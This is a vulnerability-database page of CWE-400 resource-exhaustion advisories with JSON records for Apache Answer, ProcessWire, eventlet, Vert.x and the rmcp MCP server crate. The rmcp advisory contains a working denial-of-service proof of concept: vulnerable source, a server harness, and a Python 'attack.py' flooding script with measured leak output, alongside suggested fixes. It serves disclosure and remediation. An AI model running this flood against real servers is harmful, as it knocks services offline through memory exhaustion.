Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6312 vulnerabilities reference this CWE, most recent first.

GHSA-9MXC-X85J-V2WC

Vulnerability from github – Published: 2026-08-05 18:31 – Updated: 2026-08-06 15:32
VLAI
Details

Improper Handling of Length Parameter Inconsistency vulnerability in Apache Answer.

This issue affects Apache Answer: through 2.0.1.

Unauthenticated attackers can cause a denial of service via a specially crafted Accept-Language header that triggers excessive CPU consumption during parsing. Users are recommended to upgrade to version 2.0.2, which fixes the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-48834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T16:16:56Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Length Parameter Inconsistency vulnerability in Apache Answer.\n\nThis issue affects Apache Answer: through 2.0.1.\n\nUnauthenticated attackers can cause a denial of service via a specially crafted Accept-Language header that triggers excessive CPU consumption during parsing.\nUsers are recommended to upgrade to version 2.0.2, which fixes the issue.",
  "id": "GHSA-9mxc-x85j-v2wc",
  "modified": "2026-08-06T15:32:33Z",
  "published": "2026-08-05T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48834"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/0yg5smwnbrhqs55m5h61gn42mcs8s95p"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/05/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9P44-Q66P-XM6P

Vulnerability from github – Published: 2025-10-21 18:30 – Updated: 2025-10-27 20:01
VLAI
Summary
ProcessWire CMS vulnerable to resource-exhaustion Denial of Service
Details

ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.

Severity
5.7 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "processwire/processwire"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.246"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-60790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T21:04:22Z",
    "nvd_published_at": "2025-10-21T18:15:36Z",
    "severity": "MODERATE"
  },
  "details": "ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.",
  "id": "GHSA-9p44-q66p-xm6p",
  "modified": "2025-10-27T20:01:33Z",
  "published": "2025-10-21T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/processwire/processwire-issues/issues/2120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NomanProdhan/security-vulnerability-research/tree/master/CVE-2025-60790"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/processwire/processwire"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ProcessWire CMS vulnerable to resource-exhaustion Denial of Service"
}

GHSA-9P9M-JM8W-94P2

Vulnerability from github – Published: 2021-05-07 15:50 – Updated: 2024-09-20 17:20
VLAI
Summary
Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet
Details

Impact

A websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.

Patches

Version 0.31.0 restricts websocket frame to reasonable limits.

Workarounds

Restricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.

For more information

If you have any questions or comments about this advisory: * Open an issue in eventlet * Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "eventlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.10"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-07T14:31:05Z",
    "nvd_published_at": "2021-05-07T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.\n\n### Patches\nVersion 0.31.0 restricts websocket frame to reasonable limits.\n\n### Workarounds\nRestricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [eventlet](https://github.com/eventlet/eventlet/issues)\n* Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor",
  "id": "GHSA-9p9m-jm8w-94p2",
  "modified": "2024-09-20T17:20:53Z",
  "published": "2021-05-07T15:50:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eventlet/eventlet/security/advisories/GHSA-9p9m-jm8w-94p2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21419"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eventlet/eventlet/commit/1412f5e4125b4313f815778a1acb4d3336efcd07"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eventlet/eventlet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/eventlet/PYSEC-2021-12.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2WJFSBPLCNSZNHYQC4QDRDFRTEZRMD2L"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R5JZP4LZOSP7CUAM3GIRW6PIAWKH5VGB"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet"
}

GHSA-9PH3-V2VH-3QX7

Vulnerability from github – Published: 2024-04-02 09:30 – Updated: 2026-02-27 20:57
VLAI
Summary
Eclipse Vert.x vulnerable to a memory leak in TCP servers
Details

A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.4"
            },
            {
              "fixed": "4.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.0"
            },
            {
              "fixed": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-02T16:15:47Z",
    "nvd_published_at": "2024-04-02T08:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.",
  "id": "GHSA-9ph3-v2vh-3qx7",
  "modified": "2026-02-27T20:57:55Z",
  "published": "2024-04-02T09:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/7ad34ea9d78f85e26b231ee3ec8d492d10046479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/3d9235cadf44df39a70dc75bddfe0b8fcbd6a683"
    },
    {
      "type": "WEB",
      "url": "https://vertx.io/docs/vertx-core/java/#_server_name_indication_sni."
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse-vertx/vert.x"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2263139"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3989"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3527"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2833"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2088"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1923"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1706"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1662"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Eclipse Vert.x vulnerable to a memory leak in TCP servers"
}

GHSA-9PJ6-VHGR-3MWH

Vulnerability from github – Published: 2026-09-16 22:13 – Updated: 2026-09-16 22:13
VLAI
Summary
RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service
Details

Summary

An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is not an InitializeRequest. The Streamable HTTP server's handle_post allocates the session before it validates the body, then early-returns on the validation failure without calling close_session. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.

Details

The bug lives in crates/rmcp/src/transport/streamable_http_server/tower.rs inside StreamableHttpService::handle_post. The relevant slice of 1.7.0 source (lines 1126–1170) is:

} else {
    let (session_id, transport) = self
        .session_manager
        .create_session()                                                  // (★)
        .await
        .map_err(internal_error_response("create session"))?;
    // ...capture init params if a SessionStore is configured...
    if let ClientJsonRpcMessage::Request(req) = &mut message {
        let ClientRequest::InitializeRequest(init_req) = &req.request else {
            return Err(unexpected_message_response("initialize request")); // (A)
        };
        validate_header_matches_init_body(                                 // (B)
            &part.headers,
            init_req.params.protocol_version.as_str(),
            Some(req.id.clone()),
        )?;
        req.request.extensions_mut().insert(part);
    } else {
        return Err(unexpected_message_response("initialize request"));     // (C)
    }
    let service = self
        .get_service()                                                     // (D)
        .map_err(internal_error_response("get service"))?;
    Self::spawn_session_worker(                                            // (★★)
        self.session_manager.clone(),
        session_id.clone(),
        service,
        transport,
        None,
    );
    // ...persist to external store, send response...
}

Two facts make this unsafe:

  1. (★) inserts a LocalSessionHandle into LocalSessionManager.sessions (a tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns a LocalSessionWorker task.
  2. (★★) spawn_session_worker is the only code path in the entire transport (besides a client-initiated HTTP DELETE reaching handle_delete) that ever invokes self.session_manager.close_session(&session_id).

Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:

  • The local transport: WorkerTransport<LocalSessionWorker> goes out of scope; its _drop_guard cancels the worker's CancellationToken.
  • The worker, which had been awaiting event_rx.recv(), exits within milliseconds via WorkerQuitReason::Cancelled. Its event_rx receiver is dropped.
  • LocalSessionHandle.event_tx (the Sender half of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel's Inner (sized to channel_capacity = 16 by default) remains pinned in memory.

Because the worker has already exited, the SessionConfig::keep_alive and init_timeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.

The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validate_dns_rebinding_headers normally.

A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.

Proof of concept

The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.

Step 1 — server harness

Cargo.toml (paste verbatim):

[package]
name = "rmcp_leak_repro"
version = "0.0.1"
edition = "2021"
publish = false

[dependencies]
rmcp = { version = "1.7.0", default-features = false, features = [
    "server",
    "transport-streamable-http-server",
] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-util = { version = "0.7" }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
anyhow = "1"

[workspace]

src/main.rs (paste verbatim):

//! Minimal MCP Streamable HTTP server that prints the size of the
//! LocalSessionManager.sessions HashMap once a second so the leak is
//! observable from stdout.

use std::sync::Arc;

use rmcp::{
    ErrorData, RoleServer, ServerHandler,
    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},
    service::RequestContext,
    transport::{
        StreamableHttpServerConfig, StreamableHttpService,
        streamable_http_server::session::local::LocalSessionManager,
    },
};

const BIND_ADDRESS: &str = "127.0.0.1:8000";

#[derive(Clone, Default)]
struct MinimalServer;

impl ServerHandler for MinimalServer {
    async fn initialize(
        &self,
        _request: InitializeRequestParams,
        _cx: RequestContext<RoleServer>,
    ) -> Result<InitializeResult, ErrorData> {
        Ok(InitializeResult::new(ServerCapabilities::builder().build())
            .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let ct = tokio_util::sync::CancellationToken::new();
    let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());

    // Reporter — prints sessions.len() every second.
    {
        let manager = manager.clone();
        let ct = ct.clone();
        tokio::spawn(async move {
            loop {
                tokio::select! {
                    _ = ct.cancelled() => break,
                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {
                        let n = manager.sessions.read().await.len();
                        println!("[count] active_sessions={n}");
                    }
                }
            }
        });
    }

    let service = StreamableHttpService::new(
        || Ok(MinimalServer::default()),
        manager.clone(),
        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),
    );

    let router = axum::Router::new().nest_service("/mcp", service);
    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;
    println!("[server] listening on http://{BIND_ADDRESS}/mcp");

    let _ = axum::serve(tcp_listener, router)
        .with_graceful_shutdown(async move {
            tokio::signal::ctrl_c().await.ok();
            ct.cancel();
        })
        .await;
    Ok(())
}

Start it:

cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0

Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

python3 attack.py 1000

Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000      <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000      <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000

The behavioural evidence that confirms the vulnerability:

  • Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request).
  • A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second.
  • After the attacker exited, active_sessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.

poc

Impact

  • Attack vector: Network (AV:N). The listener binds a TCP port; the default allowed_hosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowed_hosts to a public hostname, the attack is reachable from the network.
  • Authentication required: None.
  • User interaction required: None.
  • Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client:
    • 1 hour: ~7.8 M entries, ≈3.5 GB
    • 1 day: ~187 M entries, ≈84 GB
    • 1 week: process is long dead from OOM
  • Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (has_session, create_session, close_session, restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
  • Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.

Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

  1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validate_header_matches_init_body call above the self.session_manager.create_session().await line. Reject non-initialize bodies with 422 before any state is created. This removes a class of bugs rather than patching one path. The downside is that validate_header_matches_init_body currently reads init_req.params.protocol_version, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor.
  2. RAII guard for the session. Wrap the session_id returned by create_session in a guard whose Drop impl spawns a close_session call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:34Z",
    "nvd_published_at": "2026-09-16T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server\u0027s `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process\u0027s lifetime \u2014 turning a ~250-byte request into a permanent ~400\u2013550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **\u224875 GB** of resident memory just from the session table.\n\n### Details\n\nThe bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126\u20131170`) is:\n\n```rust\n} else {\n    let (session_id, transport) = self\n        .session_manager\n        .create_session()                                                  // (\u2605)\n        .await\n        .map_err(internal_error_response(\"create session\"))?;\n    // ...capture init params if a SessionStore is configured...\n    if let ClientJsonRpcMessage::Request(req) = \u0026mut message {\n        let ClientRequest::InitializeRequest(init_req) = \u0026req.request else {\n            return Err(unexpected_message_response(\"initialize request\")); // (A)\n        };\n        validate_header_matches_init_body(                                 // (B)\n            \u0026part.headers,\n            init_req.params.protocol_version.as_str(),\n            Some(req.id.clone()),\n        )?;\n        req.request.extensions_mut().insert(part);\n    } else {\n        return Err(unexpected_message_response(\"initialize request\"));     // (C)\n    }\n    let service = self\n        .get_service()                                                     // (D)\n        .map_err(internal_error_response(\"get service\"))?;\n    Self::spawn_session_worker(                                            // (\u2605\u2605)\n        self.session_manager.clone(),\n        session_id.clone(),\n        service,\n        transport,\n        None,\n    );\n    // ...persist to external store, send response...\n}\n```\n\nTwo facts make this unsafe:\n\n1. `(\u2605)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock\u003cHashMap\u003cSessionId, LocalSessionHandle\u003e\u003e`) and spawns a `LocalSessionWorker` task.\n2. `(\u2605\u2605)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(\u0026session_id)`.\n\nTherefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:\n\n- The local `transport: WorkerTransport\u003cLocalSessionWorker\u003e` goes out of scope; its `_drop_guard` cancels the worker\u0027s `CancellationToken`.\n- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.\n- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel\u0027s `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.\n\nBecause the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either \u2014 they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.\n\nThe bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: \u003cbound-address\u003e` value and is allowed through `validate_dns_rebinding_headers` normally.\n\nA secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.\n\n### Proof of concept\n\nThe reproduction is fully self-contained \u2014 no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.\n\n#### Step 1 \u2014 server harness\n\n`Cargo.toml` (paste verbatim):\n\n```toml\n[package]\nname = \"rmcp_leak_repro\"\nversion = \"0.0.1\"\nedition = \"2021\"\npublish = false\n\n[dependencies]\nrmcp = { version = \"1.7.0\", default-features = false, features = [\n    \"server\",\n    \"transport-streamable-http-server\",\n] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"signal\", \"sync\", \"time\"] }\ntokio-util = { version = \"0.7\" }\naxum = { version = \"0.8\", default-features = false, features = [\"http1\", \"tokio\"] }\nanyhow = \"1\"\n\n[workspace]\n```\n\n`src/main.rs` (paste verbatim):\n\n```rust\n//! Minimal MCP Streamable HTTP server that prints the size of the\n//! LocalSessionManager.sessions HashMap once a second so the leak is\n//! observable from stdout.\n\nuse std::sync::Arc;\n\nuse rmcp::{\n    ErrorData, RoleServer, ServerHandler,\n    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},\n    service::RequestContext,\n    transport::{\n        StreamableHttpServerConfig, StreamableHttpService,\n        streamable_http_server::session::local::LocalSessionManager,\n    },\n};\n\nconst BIND_ADDRESS: \u0026str = \"127.0.0.1:8000\";\n\n#[derive(Clone, Default)]\nstruct MinimalServer;\n\nimpl ServerHandler for MinimalServer {\n    async fn initialize(\n        \u0026self,\n        _request: InitializeRequestParams,\n        _cx: RequestContext\u003cRoleServer\u003e,\n    ) -\u003e Result\u003cInitializeResult, ErrorData\u003e {\n        Ok(InitializeResult::new(ServerCapabilities::builder().build())\n            .with_server_info(Implementation::new(\"rmcp-leak-repro\", \"0.0.1\")))\n    }\n}\n\n#[tokio::main]\nasync fn main() -\u003e anyhow::Result\u003c()\u003e {\n    let ct = tokio_util::sync::CancellationToken::new();\n    let manager: Arc\u003cLocalSessionManager\u003e = Arc::new(LocalSessionManager::default());\n\n    // Reporter \u2014 prints sessions.len() every second.\n    {\n        let manager = manager.clone();\n        let ct = ct.clone();\n        tokio::spawn(async move {\n            loop {\n                tokio::select! {\n                    _ = ct.cancelled() =\u003e break,\n                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) =\u003e {\n                        let n = manager.sessions.read().await.len();\n                        println!(\"[count] active_sessions={n}\");\n                    }\n                }\n            }\n        });\n    }\n\n    let service = StreamableHttpService::new(\n        || Ok(MinimalServer::default()),\n        manager.clone(),\n        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),\n    );\n\n    let router = axum::Router::new().nest_service(\"/mcp\", service);\n    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;\n    println!(\"[server] listening on http://{BIND_ADDRESS}/mcp\");\n\n    let _ = axum::serve(tcp_listener, router)\n        .with_graceful_shutdown(async move {\n            tokio::signal::ctrl_c().await.ok();\n            ct.cancel();\n        })\n        .await;\n    Ok(())\n}\n```\n\nStart it:\n\n```bash\ncargo run --release\n```\n\nInitial output:\n\n```\n[server] listening on http://127.0.0.1:8000/mcp\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n```\n\n#### Step 2 \u2014 attacker\n\n`attack.py` (paste verbatim \u2014 Python 3 standard library only, no `pip install` required):\n\n```python\nimport http.client, json, sys, time\n\nHOST, PORT, PATH = \"127.0.0.1\", 8000, \"/mcp\"\n\n# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,\n# but NOT an `InitializeRequest`. The server\u0027s `let ... else` pattern at\n# tower.rs:1148 rejects it after the session has already been created\n# at tower.rs:1129.\nbody = json.dumps({\n    \"jsonrpc\": 